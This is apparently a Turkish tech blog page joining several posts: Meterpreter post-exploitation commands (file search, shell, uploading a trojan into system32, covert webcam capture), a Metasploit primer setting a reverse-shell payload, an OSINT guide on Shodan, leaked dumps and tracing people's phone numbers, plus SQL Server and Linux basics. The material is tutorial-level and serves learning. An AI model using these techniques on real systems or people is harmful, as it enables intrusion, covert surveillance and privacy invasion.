Search komutu anlayacağınız üzere, karşı makinede dosya aramamızı sağlar. Belirli bir dosya adı arayabileceğimiz gibi, belirli bir dosya türünden olan tüm dosyaları arayabilir, aynı zamanda belirli bir dizinde arama yapabiliriz. Aşağıda kullanımına dair birkaç örneğe yer verdim.

meterpreter > search -f autoexec.bat
Found 1 result...
    c:\AUTOEXEC.BAT
meterpreter > search -f sea*.bat c:\\xamp\\
Found 1 result...
    c:\\xampp\perl\bin\search.bat (57035 bytes)
meterpreter > search -f *.bat 
Found 1 result... 
    c:\AUTOEXEC.BAT

Shell

Yukarıda bir yerlerde cmd.exe dosyasını çalıştırmıştım gördünüz mü? Cmd.exe için onu unutabilirsiniz. Siz onu başka exe dosyalarında kullanın. cmd.exe için meterpreter ekranına shell yazmanız yeterli. Bundan sonrasında windows komutları ile devam edebilirsiniz. exit komutu ile komut penceresinden meterpretera dönebilirsiniz.

meterpreter > shell
Process 39640 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

Upload

Karşı makineden dosya çekebildiğiniz gibi kendi makinenizden karşı bilgisayara dosya da gönderebilirsiniz. Belki de orada sizin çalıştırmak istediğiniz bir exe dosyası vardır. Onun için de upload komutunu kullanıyoruz.

meterpreter > upload /root/Desktop/evil_trojan.exe c:\\windows\\system32
[*] uploading  : /root/Desktop/evil_trojan.exe -> c:\windows\system32
[*] uploaded   : /root/Desktop/evil_trojan.exe -> c:\windows\system32\evil_trojan.exe
meterpreter >

Webcam

Eğlenceli komutlardan birisi olan webcam ile karşı makinenin kamerasından anlık fotoğraf alabilir, video kaydedebilirsiniz. Peki birden fazla kamera varsa? O zaman hangisinden isterseniz ondan kayıt alırsınız.

webcam_list: Hedef makinede bulunan webcamleri listeler.

webcam_chat: Karşılıklı bir görüntülü konuşma başlatabilirsiniz.

webcam_stream: Bu komutla karşı makineden kamera kaydı alırsınız. Tarayıcınızda açılan sayfa üzerinden takip edebilirsiniz ve -t parametresi ile görüntüleri nereye kaydetmek istediğinizi belirtebilirsiniz.

webcam_snap: Karşı makinenin kamerasından anlık fotoğraf çeker. Aşağıda bir örnek var. Bu örnekteki -i parametresi kamera ID’si oluyor:

meterpreter > webcam_snap -i 1 -v false
[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /root/Offsec/YxdhwpeQ.jpeg
meterpreter >

Ufak bir not: Kapaktaki çocuk muhtemelen ilginizi çekti. Çok da alay etmeyin isterseniz. Kendileri akıllı oyuncakları dinleme cihazına dönüştüren 12 yaşında bir çocuk. https://www.cbsnews.com/news/reuben-paul-12-year-old-cyber-ninja-cyber-security/

Kategoriler
Teknoloji

Detaylı SQL Server Kurulumu

Muhtemelen veritabanlarına yönelik birden fazla yazı hazırlayacağım. Bu yazılar aslında, veritabanlarına dair bir şeyler öğreneyim derken kendime hazırladığım notlar. Farklı kaynaklardan ilerliyorum fakat temel aldığım eğitim Ömer Çolakoğlu’nun Udemy setleri. Bir anlamda yemeğin, suyunun suyundan faydalanıyorsunuz şu an. Yemeği yemek isterseniz: https://www.udemy.com/uctan-uca-sql-server-egitimi/

Öncelikle bir Windows Server kurmamız gerekiyor. Bu kısmı bildiğinizi varsayacağım. Daha sonrasında ise SQLServer iso dosyasını indirip, makinemize atmamız gerekiyor. Dosyaya sağ tıklayarak bağla seçeneğine tıklayacağız. Daha sonrasında da içinde bulunan setup dosyasını yönetici olarak çalıştıracağız.

Sonrasında karşımıza aşağıdaki ekran gelecek. Burası ‘Planning’ kısmı. Sizin ihtiyacınız olan dokümantasyonun tamamı burada bulunuyor. İnceleyebilirsiniz. Ben es geçeceğim ve ‘Installation’ evresine geçeceğim.

Artık kuruluma başladık. Sıfırdan bir kurulum yapacak veya kurulu servera eklentileri de dahil edecekseniz ilk seçeneği seçmeniz gerekiyor. İkinci seçenek ise, birden fazla makine üzerinde çalışmanızı sağlar. Biraz daha açıklamamız gerekirse, bir SQL Serverınız var diyelim. Bu sunucu çöktüğünde ne olacak? Fiziksel bir zarar görebilir, elektrik akımı kesilebilir, bambaşka bir şey olabilir… Bu durumda bir sunucunun daha çalışması, sisteminizin daha güvende kalmasını sağlayacaktır. Peki bunu nasıl sağlarız? Bir depolama alanımız ve iki SQL Serverımız olsun. Veriler depolama alanımızda bulunsun. Bir SQL sunucumuz da oradan verileri alsın ve yayın yapsın. Bu sunucu zarar görürse, diğer sunucu devreye girecek, ana sunucunun sorun yaşadığını öğrendiği anda devreye girerek kendisi çalışacaktır. İşte bu tip bir sistem hazırlamamız için ‘New SQL Server failover cluster’ seçeneğini seçmemiz gerekecek. Var olan bir sunucu ağına ekleme yapmak istiyorsak ‘Add node to SQL Server failover cluster’ seçeneğini seçeceğiz. Bu bilgi bizim aklımızda dursun, sıradan bir SQL sunucuda çalışmak için ilk seçenekle devam edelim. 

SQL Server’ın farklı versiyonları mevcut. Kısa kısa bahsedecek olursak:

  • SQL Server 2014 Enterprise: En üst seviye sürüm. Herhangi bir disk, memory ve işlemci sınırlandırması yok.
  • SQL Server 2014 Business Intelligence: Standart’ın tüm özelliklerini kapsar. Bunların dışında gelişmiş iş zekası özelliklerini bulundurur. 
  • SQL Server 2014 Standart: En çok tercih edilen, uygun maliyetli sürüm. 128 GB ram kullanabilir, Azure ve bulut sunucu destekler. 4 işlemci, 16 çekirdeğe kadar izin verir. 524 petabayta kadar veritabanı hacmini destekler.
  • SQL Server 2014 Web: Web hosting hizmetleri için düşük maliyet sağlar ancak özellikleri diğer versiyonlara oranla daha kısıtlıdır. 
  • SQL Server 2014 Developer: Enterprise özelliklerinin tamamını kapsar. Canlı ortamda kullanılamaz. Şu an ücretsiz olarak temin edilebilir. 
  • SQL Server 2014 Express: SQL server agent çalışmaz. SQL Server engine database için 1 GB bellek desteği sağlar ve veritabanı başına 10 GB alan verir. Ücretsiz olmakla birlikte çok fazla kısıtlama söz konusu.

Gelelim bu menüde ne yapacağımıza. Eğer yukarıdaki ürünlerden birini satın aldıysak onun lisans anahtarını ikinci seçeneğe girerek devam edebiliriz. Veya birinci seçenekte ‘Evaluation’ seçeneği ile 180 günlük deneme sürecini başlatabiliriz. Yine birinci seçenekten ‘Express’ versiyonunu seçerek ücretsiz kullanmaya başlayabiliriz. Ben Evaluation ile deneme sürecini başlatıyorum.

Microsoft Update ekranı gelecek. Orada da güncellemeleri kontrol edip, varsa alabilirsiniz. 

Bu aşamada ise biz hangi özellikleri kurmak istediğimizi belirliyoruz. Default olarak devam dediğimizde gereksiz birçok özelliği de kuracağız muhtemelen. O yüzden biz “next next next” demek yerine şöyle bir durup düşünüyoruz. ‘SQL Server Feature Installation’ dedikten sonra hangi özellikleri seçeceğimizi ve ne işe yarayacaklarını konuşalım.

Gelen ekranda birçok özellik var. Bu özellikleri seçtiğimizde description kısmında açıklamaları yer alıyor. Bunları göz önünde bulundurarak tercih yapmalıyız. ‘Database Engine Services’ verileri tutmak, işlemek ve hızlıca ulaşmak için gereken özelliklerimizden birisi. ‘SQL Server Replication’ ise sistemin yedeklenmesi ve verilerin tek merkezde toplanması amacıyla kullanılabilir. Örnek vermek gerekirse, 50 farklı sunucu ve veritabanınız var. Bu veritabanları günün sonunda, tüm işlemleri ana sunucuda toplamak ve ana sunucudan da yeni sonuçları tekrar  sunucuya dağıtmayı amaçlıyor. Veya İstanbul’daki sunucunuzdan gelen verileri Ankara’daki sunucunuza yedeklemek istiyorsunuz. Bu durumda değişen verileri göndermek amacıyla ‘SQL Server Replication’ özelliğini kullanabilirsiniz. ‘Full-Text and Semantic Extractions for Search’ özelliği ise aslında aranan şeye benzer bir kelime veya kavramı karşımıza getirir. Google’daki bunu mu demek istediniz özelliğine benzetebiliriz. ‘Data Quality Services’ verileri düzenleyen ve aynı formata dönüştüren bir araç. ‘Analysis Services’ büyük verileri analiz etmek, iş zekası kapsamında kullanmak için oluşturulan araç. ‘Reporting Services Native’ ise, sonuçları grafik haline getirebileceğimiz, görsel seçenekleri arttırabileceğimiz bir özellik. ‘Integration Services’ farklı veri kaynaklarını entegre edebileceğimiz bir araç. 

Client Tools Backward ise geriye dönük versiyonlara uyumluluk amaçlı eklenen bir seçenek. ‘Management Tools’ management studioyu çalıştırmamızı sağlar. Bunu kurmamamız halinde, oluşturduğumuz veritabanına mevcut makineden bağlanamayız. 

Aynı makinede birden fazla SQL Server kullanabilirim. Bu durumda her server, instance oluyor. ‘Instance root directory’ ise onların bulunduğu dizin. Bir storage kullansaydım onun bağlı olduğu dizini seçmem gerekirdi. Ben default olarak bırakıp devam ediyorum. 

Next dediğimde .NET Framework konusunda sorun yaşadığını belirtiyor. Öyleyse ben .NET’i aktif edip makineyi yeniden başlatırsam sorun ortadan kalkacaktır. 

Bu ekran aslında kurulum esnasında karşınıza gelmiş olmalı. This PC seçeneğine sağ tıklayıp manage dediğimizde tekrar buraya ulaşırız. Daha sonra rol ve özellik ekle seçeneğini seçiyorum. 

Daha sonra gelen ekranlara next diyorum. Ta ki aşağıdaki ekran gelene kadar. Burada ‘.NET Framework 3.5’i işaretlemem gerekiyor. Sonrasında kurulumu başlatıyorum. Bu aşama biraz zaman alabilir. Sonucunda makineyi yeniden başlatabilirsiniz veya hatayı aldığınız ekrana dönüp sağ üstte bulunan ‘Re-run’ butonuna tıklayabilirsiniz.

Bu ekranda iki seçenek mevcut: ‘default instance’ ve ‘named instance’. Birinci seçeneği seçmem halinde makineye IP adresi veya ismiyle bağlanabilirim. İkinci seçenekle ise sunucuma bir isim verebilirim. Aşağıdaki tabloda ise daha önce kurulu bir SQL server kurulu olsaydı listelenecekti. Ancak şu anda kurulu bir SQL server olmadığı için ekran boş. 

SQL Server Database Engine, gönderilen SQL sorgularını çalıştırıp sonucu getiren servis. ‘Account Name’ kısmından onu kullanma hakkı olan kullanıcıyı seçebiliriz. Değişiklik yapmamamız halinde SQL Server kendisi bir kullanıcı oluşturacak ve bu servisi o çalıştıracak. ‘Startup Type’ kısmından ise servisin otomatik mi, manuel mi çalışacağını seçebiliriz. ‘SQL Server Agent’ ise arka planda sistematik olarak çalışan işlemlerdir. Örneğin yedek almak, işlem bittiğinde görevliye mail atılması gibi. Bunu otomatiğe alabilirsiniz. ‘SQL Server Browser’ ise, birden fazla instance varsa bu durumda iki server aynı portu kullanamayacaktır. Bu durumda bu servis, ikinci makinenin başka bir porta yönlendirilmesini sağlar.

Yan sekmedeki ‘Collation’ kısmına geçtiğimizde ise, bizi dil seçenekleri karşılıyor. Ancak Türkçe, İngilizce gibi dillerden ziyade farklı detaylar söz konusu. Örneğin büyük-küçük harf ayrımı, Türkçe karakter ayrımı… Burada iki seçeneği de siz belirleyebilirsiniz. ‘Case-sensitive’ büyük-küçük harf duyarlılığını, ‘Accent sensitive’ ise karakter duyarlılığını aktif etmemizi sağlar. Karakter duyarlılığında bahsetmek istediğimiz şey şu; bu seçenek seçili olmadığında, “Istanbul” ile “İstanbul” arasında bir fark gözetmeden sorgu yapılır. Ben ikisini de aktif etmeyi tercih ederim. 

Devam ettiğimizde bizi aşağıdaki ekran karşılıyor. ‘Server Configuration’ sekmesinde ilk seçenek seçildiğinde, Windows makineye giriş yapmamız yeterli oluyor ve o kullanıcı ile SQL Server üzerinde işlem yapıyoruz. Ancak ikinci seçeneği seçmem halinde SQL Server’ıma bir parola koymuş oluyorum. Daha sonra da ‘Add Current User’ ile, sisteme girdiğim kullanıcıyı ekleyebilirim.

Burada storage kullanacaksak, system database directory kısmında onu seçmeliyiz. User database directory kısmında ise, kullanıcının oluşturduğu veri tabanını oluşturacağı dizini gösterir. User database log directory alanında ise, log kayıtlarının bulunduğu dizin tercih edilir. Yapılan işlemler önce log kayıtlarına işlenir. Log kayıtlarını, farklı bir diskte depolamak da mümkün. Temp DB, geçici tablolar oluşturmamızı sağlar. Bunların ve log kayıtlarının nerede saklanacağını da dizin olarak seçebiliriz. Backup directory ise, doğrudan yedek alma işlemlerinde, yedeklerin kaydolacağı dizini seçmemizi sağlar. 

Bütün bunlar tamamlandıktan sonra install diyerek kurulumu tamamlayabiliriz. Bizi bu ekran karşıladıysa kurulum tamamlandı demektir.

Kategoriler
Linux Metasploit Siber Güvenlik

Metasploit’e Giriş ve Temel Kavramlar

Metasploit, içinde binden fazla exploit bulunan popüler bir pentest aracıdır. Onu bu kadar popüler yapan şey, içindeki exploitlerin, yalnızca belirli parametreler girilerek kullanıma hazır hale gelmesi.  Exploit, metasploit için kodlanmışsa bu exploit metasploit ile kullanılabilir ve geliştirilebilir. Ancak esas mesele saldırı değil. Bilgi toplama ve farklı alanlarda da metasploit işimize çok yarayabiliyor. Bunu da detaylıca yazacağız. İyisi mi, biz exploit nedir, metasploitin işimize yaradığı diğer alanlar neler ve nasıl kullanacağız sırası ile gidelim. 

Exploit Nedir?

Exploit kelime anlamı olarak sömürmek anlamına gelir. Siber güvenlik dünyasında da karşılığı bu zaten. Mevcut bir zafiyeti kullanmak, sistemi bu zafiyet sayesinde ele geçirmek için yazılan kod parçacıklarına exploit diyoruz. C, python, perl, ruby gibi dillerle yazılmış olabilir. Exploit-DB üzerinden birçok exploite ulaşmak mümkün. Elbette farklı kaynaklar da var. Bazı kaynaklarda ücretli exploitler de bulunmakta(Bknz. 0-Day Today). Peki biz hangisini kullanacağımızı nereden bileceğiz? Girmek istediğimiz sistemde çalışan servisleri ve onların versiyonlarını tespit ettikten sonra ona uygun exploit araştıracağız. Bunu Detaylı NMAP Kullanımı yazımda anlatmıştım isterseniz onu da şöyle bir okuyun. Exploitlerin de kendi içinde gruplandığını söylemek mümkün.

Remote Exploits: Remote, kelime anlamı olarak uzak demektir. Haliyle ne işe yaradığı aslında ortada. Uzak sistemlere yapılacak olan saldırılarda kullandığımız exploitlerin toplandığı başlıktır.

Local Exploits: Local kelimesi ise yerel anlamına gelir. Yani direk sistemin kendisinde çalışacak olan exploitlerdir. Bunu genelde, sisteme girdikten sonra hak yükseltmek, root olmak amacıyla kullanırız.

Zero Day Exploits: En eğlenceli exploitler. Eğer exploit kavramını duydunuzsa muhtemelen arkasından bu kavramı da duymuşsunuzdur. Bunlar henüz keşfedilmemiş, sistemde zafiyet bulunduğu anda o zafiyeti sömürmek maksadıyla yazılmış exploitlerdir. Haliyle ne sistem sahibi ne de söz konusu bir servis durumun farkındadır. Açık ortamda paylaşılması halinde hızlı biçimde yayılacaktır.

Exploit meselesi tamam. Teorik taraf yeni başladığınızı varsayarsak sizin işinize yarayacaktır. Ancak birkaç kavramdan daha bahsetmek gerek. Onları da aşağıda listeleyeyim.

Payload: Payloadlar, metasploit içinde bulunur. Kullanmak istediğiniz exploiti seçtikten sonra exploite uygun bir payload seçmeniz gerekmekte. Exploit çalıştıktan sonra devreye payload girecek. Tamam da ben exploitimi belirledikten sonra ona uygun payloadları nereden bilebilirim ki? Şu şekilde:

msf exploit(ms08_067_netapi) > show payloads
Compatible Payloads
===================
...

Listelenecek olan payloadlar, elinizdeki exploitlere uygun olacaktır. Amacınıza göre tercihiniz değişecektir. Peki seçimi nasıl yapacağım?

msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell_reverse_tcp
PAYLOAD => windows/shell_reverse_tcp

Payload meselesi de şimdilik tamam. Ancak pratik bir meseleden bahsetmediğimizin farkındayım. Tüm bunların uygulamalarını da anlatacağız daha sonra. Önce bu kavramları bir anlatalım.

Auxiliary Nedir?

Auxiliary bilgi toplama aşamasında işimize yarar. Metasploitte bir servis arattığınızda muhtemelen auxiliary seçeneklerine denk gelirsiniz. Bilgi toplama derken neden bahsediyoruz? Bunu da birçok başlıkta incelemek gerekiyor. Auxiliary çeşitleri aşağıda mevcut. Biz birkaçını inceleyeceğiz. 

admin dos server
analyze fuzzers sniffer
bnat gather spoof
client parser sqli
crawler pdf voip
docx scanner vsploit

Scanner: Port tarama, zafiyeti sömürmeden önce bulunup bulunmadığını test etme, keşif gibi noktalarda tercih edilir.

Admin: Genellikle admin bilgilerini bilmediğiniz sistemlere, admin yetkisi ile giriş yapmanızı sağlarlar. Ancak versiyon bilgilerini öğrenmek gibi farklı amaçları da olabilir.

Fuzzers: Sisteme rastgele sorgular göndererek farklı cevaplar alınır. Sistemin çökmesi halinde de tepkilerini izler. Çok sık kullanılmayan auxiliary çeşitlerindendir. 

Dos: Adından da anlaşılacağı üzere Denial of Services saldırıları için kullanılır.

Gather: Metasploit üzerinde bulunan dedektif auxiliarylerimiz… Kendileri e-mail, kullanıcı adı ve dbs gibi bilgileri toplar.

Brute force: Yine anlaşılacağı üzere kaba kuvvet saldırılarında kullanılır. Yetkili girişini deneme yanılma yolu ile tespit etmeyi amaçlar.

Genel Exploit Kullanımı

Peki tüm bunlar tamam. Örnek bir kullanım da gösterelim yazımız öyle bitsin. Öncelikle uygun exploiti seçmek için servis adı ile (veya neye ihtiyacınız varsa) arama yapıyorum. Bunun için search komutunu kullanacağız.

Openssh’a yönelik exploitler listelendi. İsimleri, eklendiği tarih ve açıklamaları gibi bilgiler listeleniyor. Burada seçerken açıklamaya bakıp bizim karşımızdaki sisteme uygun olup olmadığını, tarihe bakıp güncel olup olmadığını veya rank kısmına bakıp ne kadar başarılı olduğunu tahmin etmek mümkün. Tercihleri de hiç bilmiyorsanız buna göre yapabilirsiniz. Ancak ilerledikçe sistemlerde hangi exploitin çalışacağını az çok tahmin eder duruma geleceksiniz bunlara gerek duymadan.

Daha sonra hangi exploiti kullanacağımızı use komutu ile seçiyoruz.

Exploiti seçtiğimiz anda soldaki kırmızı alan değişecek veya yoktan oluşacak. O kısım, içinde bulunduğunuz exploiti gösteriyor. Exploiti de seçtik. Şimdi ayarlarına göz atalım. Çalıştırmak için hangi bilgilere ihtiyacı varmış bir bakalım. Bu bilgileri biz girdikçe arka planda exploit koduna ekleyerek çalıştıracak. Bunun için de options komutunu kullanıyoruz. Seçtiğiniz exploit hangi sistemlerde çalışıyor, hedeflerinde neler var görmek isterseniz show targets komutunu kullanabilirsiniz.

Seçtiğimiz exploitin ayarlamalarını yapmak istediğimizde bu tablo bizi karşılayacak. Değerlerin isimleri, gerekli olup olmadıkları ve açıklamaları mevcut. Required kısmında yes yazan tüm değerleri doldurmak zorundasınız. Ancak no yazanlar boş kalabilir. Peki öyleyse neden gereksiz bilgi giriyoruz? Asında gereksiz denemez. Sistemde çalışma şansını arttıran değerler bunlar. Onun için ne kadar değer girerseniz şansınız o kadar artar. Ben RHOSTS kısmını değiştireceğim ancak öncesinde bir detay daha vereyim. Auxiliarylerde genelde RHOSTS yazar. Yani birden fazla hedef girebilirsiniz. Ancak exploit seçimi yaptığınızda,genelde direkt hedef odaklı tercih yapmanız gerekir. Birden fazla seçemezsiniz. Ben set RHOSTS komutu ile hedef adresi de giriyorum.

Bundan sonrasında tüm değerler doğru ise exploit veya run komutu ile auxiliarymi çalıştırabilirim. Başka bir alternatif olarak ise check komutu ile exploit sisteme zarar vermeden çalışıp çalışmadığını test edebilirim. Sonrasında söz konusu auxiliary, işlevini yerine getirecektir. Örnek, komutları göstermeye yönelik olduğu için sonucunu göstermedim. Esas amaç temel kullanımı göstermekti. İleride bolca örnek yapacağız. 

Kategoriler
Siber Güvenlik

Bilgi Toplama Teknikleri

GİRİŞ

Siber güvenliğe merak salan hızlı arkadaşların en büyük hataları, nereyi nasıl hacklerim onu öğreneyim mantığı ile olaya girmeleridir. Ancak sistemi bilmeden, keşif yapmadan sistemin zayıf karnı neresi bilemezsiniz. Öncesinde esaslı bir bilgi toplama evresi geçirmek gerekir. Biz bu bilgi toplama evresini ikiye bölüyoruz: pasif keşif evresi ve aktif keşif evresi. Pasif keşif, sistemi dolaylı yollarla keşfettiğimiz ve karşı tarafla bire bir temasa geçmediğimiz evredir. Aktif keşfe göre daha güvenli sularda yüzeriz. Fark edilme olasılığı pek de yok. Örnek vermek gerekirse bir şirkete dair linkedin üzerinden çalışanlarının isimlerini topluyorsam bu durumdan çalışanların veya şirketin haberi olmayacaktır. Aktif keşifte ise şirket ile bire bir temasa geçeriz. Örneğin bir nmap taraması atarak domainlerinde hangi servislerin çalışmalarına bakmak için istek gönderdiğimde artık benim ip adresim karşı tarafa ulaşmıştır. Web sitesine girip içeriği incelemişsem dahi artık aktif keşifteyiz demektir. Çünkü doğrudan temasa geçtim. 
Daha basite indirgeyelim. Birinden hoşlanıyorsunuz. Hoşlandığınız kişinin en yakın arkadaşına “Nelerden hoşlanır?” diye sorduğunuzda, hoşlandığınız kişi ile doğrudan iletişime geçmeden ve muhtemelen onun haberi olmadan bilgi toplamış olacaksınız. İşte pasif keşif evresi… Peki biraz daha cesursunuz ve hoşlandığınız kişiye “Nelerden hoşlanırsın?” diye sordunuz. Bu durumda onunla doğrudan temas kurdunuz ve artık o da sizden haberdar. Bu da aktif keşif oluyor. Bence yeterli bir örnek oldu. 

Yöntemlerin tamamını saymamız pek mümkün değil fakat biz olabildiğince kapsamlı yazmaya çalışalım.

Whois

Whois kayıtları bir domain adresini kimin, ne zaman aldığını, hangi sunucularda barındırdığını ve ip adresini verir. Aynı zamanda domain sahibinin adresi ve telefon numarasına da ulaşmak mümkün. who.is veya farklı adreslerden sorgu yapabilirsiniz. Aynı zamanda birçok linux dağıtımında “whois domainadi.com” komutu ile terminal üzerinden sorgu yapmak mümkün.


Ripe & Arin

Ripe & Arin ise IP adresini elde ettiğiniz domainin, IP aralıklarını elde etmenizi sağlar. IP adresi ile sorgu yapabilirsiniz.

Netcraft

Web sitesinin daha önce kullandığı IP adreslerini, daha önce kullandığı işletim sistemi ve versiyonlarını, web sunucu servislerini listeler. Yine basit bir whois sorgusu yaptığını da söyleyebiliriz. Sorgu için : toolbar.netcraft.com/site_report

Shodan

Shodan’ın çoğu yerde lanse edilme biçimi “Hackerların arama motoru!” şeklinde. Kısmen haklı olunduğunu söyleyebiliriz. Sıradan bir kullanıcı burada pek de arama yapmaz. API’lerini şimdilik bir tarafa bırakıyorum ve arama kısmını anlatıyorum. Bir web sitesini veya IP adresini aratmanız mümkün. İnternete çıkan ne varsa bir şeyler bulacaksınız.

Ücretsiz olarak birçok özellikten faydalanabilirsiniz. Ancak siz biraz daha kafa yormak istiyorsanız ücretli üyelik almanız gerek. Üniversite öğrencileri “edu” maillerle kayıt olduğunda ve başvurduğunda ücretsiz üyelik veriyorlar diye biliyorum. Aynı zamanda “black friday” döneminde de uygun fiyata üyelik alabilirsiniz. Hızlı biçimde arama parametrelerini vereyim. Bu parametreleri bir arada kullanarak veya değiştirerek aramalarınızı daha spesifik bir hale getirebilirsiniz.

  • port:23 (23 portu açık olanları aramak için)
  • port: 21-25 and 80 (21’den 25’e kadar portu açık olanları aramak için… Ek olarak 80 portu açık olanlara da bakacak.)
  • “apache 2.2.3” “200 OK” (Apache 2.2.3 versiyonu olan sistemleri ve sorunsuz açılan sayfaları listeler.)
  • hostname: selcuk.edu.tr (Domain üzerinden arama yapmak için)
  • IP: 193.140.140.10 (IP adresi üzerinden arama yapmak için)
  • country:TR (Ülke aramaları için)
  • city:Konya (Şehir aramaları için)
  • geo:<Koordinat> (Koordinat üzerinden aramalar için)
  • os:”windows xp” (İşletim sistemi üzerinden aramalar yapmak için)
  • isp:amazon (İnternet servis sağlayıcıları üzerinden arama yapmak için)
  • org:”univercity” (Organizasyon ismi ile arama yapmak için)

Veri Sızıntıları

Saldırganlar, hackledikleri platformların datalarını genelde pastebin ve benzeri sitelerden yayınlarlar. Bu yayınlanan datalar üzerinde arama yapmak da bizim için bulunmaz bir nimet. Öyle ki bazen hiçbir saldırı gerçekleştirmeden kritik bir sisteme girebilirsiniz. Üstelik bunu sadece sizden önce yapan birisi sayesinde yaparsınız. Deep web üzerinden de alternatif kaynaklar bulmak mümkün. Ben bonus olarak birkaç kaynak buraya bırakayım.

  • ghostproject.fr
  • haveibeenpwneed.com
  • Wikileaks
  • cryptome.org

Archive.org

Archive.org ise sitelerin yayın hayatında sık sık yansımalarını kaydeder. 20-30 sene önceki kayıtları dahi elde edebilirsiniz. Çok ciddi oranlarda veri depolayan archive.org sunucularının bir kilisede saklandığı, sebebinin ise bir savaş esnasında dahi oraya zarar verilmeyeceğinin düşünülmesi olduğu söyleniyor. Ben söyleyenlerin yalancısıyım 🙂 Bu site ile daha önceden kurulan sistemleri görüntüleyebilir ve belki de o dosyaların kalıntılarını tespit edebilirsiniz. Sızdırılan fakat kaldırılan dosyaları temin edebilirsiniz. En basit örnekle bir kişinin telefon numarasını, kişisel blogunun geçmiş kayıtlarında arayarak bulmuştum. Örnek bir kayıt göstereyim.

Google Groups

Google groups çok da akla gelmeyen bir kaynak. Ancak birçok kuruluş, çalışanları arasında haberleşmek için burayı kullanır. Çoğu mailleşme açıktan yapılır ancak kimse farkında olmaz. E haliyle gizli sanılan en kritik veriler de aslında herkese açık biçimde yayınlanır. Bununla ilgili örnek vermeyeceğim. Sizin hayal gücünüze kalsın. Adres: https://groups.google.com/

Sosyal Medya & İş İlanları

İş ilanları bir kurumun en çok ihtiyaç duyduğu fakat bir yandan da içerideki sistemleri hakkında bize bilgi veren duyurularıdır. Bir yazılım şirketi hangi alanda ne derece uzman arıyorsa, projelerinde o yazılım dilini kullandığını ve çalışmalarımı ona göre yapacağımı varsayabilirim. Veya duyurunun sıklığına göre o alandaki ihtiyacını ve ağırlığını tahmin edebilirim.  Kariyer.net ve Linkedin bu konuda oldukça verimli platformlar.

Sosyal medya üzerinden bilgi toplamaya gelirsek… Gönderilerin hangi cihazla gönderildiği ve hangi konumdan atıldığı öğrenilebilir. Kişinin ilgi alanları, ne zaman ne yaptığı ve nerede olduğu gibi detaylara da kolayca ulaşılır. Yapılabilecek çok uç analizler var fakat bunlar genelde olaya özgü olacağından size bırakmam gerek. Ama sosyal medya en güzel kaynaklardan biri. Bir diğer mesele ise, kişinin telefon numarası ve mail adresi gibi bilgileri de tespit edebilmemiz. Parolamı unuttum kısmında bu bilgiler sansürlü biçimde verilir. Kişinin ismi veya kullanıcı adı ile mail adresini tahmin edebilmeniz mümkün. Telefon numarasının ise bir kısmı verilir. Ancak kişinin farklı sosyal medya hesaplarında veya mail servislerinde de aynısını deneyerek telefonun kalan kısımlarını öğrenmek mümkün.

Diğer yandan pipl.com adresinde kişinin ismi ile veya farklı varyasyonlar ile arama yaparak diğer hesaplarına ulaşmak mümkün. Diğer yandan https://en.gravatar.com/site/check/ adresinden mail adresi ile aratarak kişinin fotoğrafını da bulabilirsiniz. Şayet gravatar üyeliği varsa tabii…

Domain ve Mail tespiti

Aquatone aracı ile subdomainleri test edebilirsiniz. Arama motoru, kendine ait sözlüğü, shodan ve virustotal API’leri gibi kaynakları ile verdiğiniz domaine ait bulabildiği tüm subdomainleri listeler. Farklı özelliklere de sahip fakat bunu ayrı bir yazıda anlatabiliriz. Amacımızdan sapmayalım bu yazıda.

aquatone-discovery -d selcuk.edu.tr

Maillerin tespit edilmesinde ise en bilindik araç theharvester olsa gerek. Detaylı kullanımı için ayrı bir yazı hazırlamak gerek fakat şimdilik ihtiyacımız olan kadarını anlatacağım. Theharvester arama motorlarındaki sonuçları göz önünde bulundurarak verdiğiniz domaine ait mail adreslerini ve subdomainleri toplamaya çalışır. Aşağıdaki komutta -d ile domain adresini, -b komutu ile kaynaklardan hangilerini kullanmak istediğimizi belirttik.

theharvester -d selcuk.edu.tr -b all

Fierce ise ip aralıklarını ve şayet bir hostnamei varsa onları keşfetmemizi sağlar. Detaylı kullanımını yine bu yazıda anlatmayacağım. Örnek bir ekran çıktısı:

Kullanıcı Adı

Kullanıcı adının nerelerde kullanıldığı da güzel bir bulgu. Namechk adresinden araştırdığınız kullanıcı adının kullanıldığı sosyal medya hesapları, domain adresleri ve birçok platform üyeliğini tespit edebilirsiniz. Bunun için alternatif web siteleri de mevcut. Aslında arama motorlarından dahi bolca bilgi elde edebilirsiniz.

Haritalar

Bir kurumun adresi üzerinden de birçok bilgi elde etmek mümkün. En basit örnek olarak “Google Maps Street View” ile binanın etrafını gezinebilirsiniz. Hiç beklemediğiniz şeyler bulmak mümkün. Ancak yalnızca Google’a bağlı kalmak olmaz. Drone, araç kamerası ve güvenlik kameraları ile çekilen görüntüleri de elde edebileceğiniz bir kaynak listesini aşağıya bırakıyorum.

Mevcut konumdan atılan sosyal medya gönderileri de oldukça kritik olabiliyor. Özellikle kalabalık çalışan nüfusuna sahip bir kurumdan bahsediyorsak, mutlaka çalışanlar kritik veriler sızdırmıştır.

Son Olarak…

Yazıya eklemediğim, ancak blogumda zaten yazdığım diğer bilgi toplama konuları:

Tüm bunların dışında güzel bir OSINT kaynak listesi olarak şu adresleri verebilirim:

Kategoriler
Linux

Temel Linux Komutları

Ben profesyonel bir linux kullanıcısı değilim. Ancak linux taraftarı olduğumu söylemek mümkün. Kendimce tecrübelerimi ve arkasından komutları yazacağım. Mutlaka kişiden kişiye değişecektir yorumlar.

Linux; açık kaynaklı, herkesin geliştirebileceği, kaynak kodlarına herkesin erişebileceği ve genelde ücretsiz dağıtımları olan bir işletim sistemi. Windows’un son zamanlarda internetten satışa çıkarttığı linux versiyonu gibi istisnalar olabiliyor.  Windows’a oranla daha basit donanımlarla daha hızlı çalışabilir. Windows gibi son kullanıcıya yönelik olmadığını söylemek mümkün. Terminal dediğimiz komut penceresi üzerinden işlemler yapılabilir. Linux’a geçildiğinde çoğu kişi ayak uyduramıyor ve Linux işletim sistemi o kadar da iyi değil diyor. Ancak aynı durum farklı işletim sistemine geçerken de oluyor. Dün Windows 7 kullanan insanlar Windows 10’a geçtiğinde alışamıyor, son Windows versiyonunun kötü olduğundan bahsediyor. Ancak birkaç ay sonra herkes Windows 10 kullanıyor. Bu anlamda Linux’a da şans vermek gerek sanki.

